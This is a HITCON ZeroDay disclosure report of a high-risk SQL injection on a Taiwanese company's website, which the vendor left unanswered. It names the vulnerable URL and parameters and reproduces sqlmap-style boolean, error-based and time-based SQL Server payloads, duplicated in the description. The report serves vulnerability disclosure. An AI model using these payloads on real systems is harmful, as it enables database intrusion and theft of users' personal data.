國產建材實業股份有限公司 資料庫注入漏洞 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2016-00308
  • Vendor: 國產建材實業
  • Title: 國產建材實業股份有限公司 資料庫注入漏洞
  • Introduction: 資料庫注入漏洞

處理狀態

目前狀態

公開
Last Update : 2017/01/17
  • 新提交
  • 已審核
  • 已通報
  • 未回報修補狀況
  • 未複測
  • 公開

處理歷程

  • 2016/11/15 12:49:39 : 新提交 (由 麥香 更新此狀態)
  • 2016/11/15 12:49:43 : 新提交 (由 HITCON ZeroDay 平台自動更新)
  • 2016/11/15 13:10:16 : 審核完成 (由 HITCON ZeroDay 平台自動更新)
  • 2016/11/16 17:21:40 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2016/11/16 17:21:43 : 通報未回應 (由 HITCON ZeroDay 平台自動更新)
  • 2017/01/15 03:00:02 : 公開 (由 HITCON ZeroDay 平台自動更新)
  • 2017/01/17 01:00:07 : 公開 (由 HITCON ZeroDay 服務團隊 更新此狀態)

詳細資料

  • ZDID:ZD-2016-00308
  • 通報者:learn (麥香)
  • 風險:高
  • 類型:資料庫注入攻擊 (SQL Injection)

參考資料

攻擊者可利用該漏洞取得後端資料庫權限及完整資料(包含大量使用者個資或敏感性資料),同時也有機會對資料進行破壞或修改。

漏洞說明: OWASP - SQL Injection
https://www.owasp.org/index.php/SQL_Injection

漏洞說明: OWASP - Top 10 - 2017 A1 - Injection
https://www.owasp.org/index.php/Top_10-2017_A1-Injection

漏洞說明: CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
https://cwe.mitre.org/data/definitions/89.html

防護方式: OWASP - SQL Injection Prevention Cheat Sheet
https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

http://gstt.pace.zyns.com/quality.aspx?cid=2014060003&dpt=page_content&pt=201406002

敘述

http://gstt.pace.zyns.com/quality.aspx?cid=2014060003&dpt=page_content&pt=201406002

注入點: cid, pt
Parameter: pt (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: cid=2014060003&dpt=page_content&pt=-4274' OR 5233=5233 AND 'OLiF'='OLiF
Vector: OR [INFERENCE]

Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: cid=2014060003&dpt=page_content&pt=201406002' AND 3190=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (3190=3190) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(113)+CHAR(113))) AND 'ktxP'='ktxP
Vector: AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: cid=2014060003&dpt=page_content&pt=201406002' OR 8408=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'YVKI'='YVKI
Vector: OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)Parameter: pt (GET)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: cid=2014060003&dpt=page_content&pt=-4274' OR 5233=5233 AND 'OLiF'='OLiF
Vector: OR [INFERENCE]

Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: cid=2014060003&dpt=page_content&pt=201406002' AND 3190=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(107)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (3190=3190) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(113)+CHAR(113)+CHAR(113))) AND 'ktxP'='ktxP
Vector: AND [RANDNUM]=CONVERT(INT,(SELECT '[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))

Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
Payload: cid=2014060003&dpt=page_content&pt=201406002' OR 8408=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'YVKI'='YVKI
Vector: OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)

擷圖

留言討論

;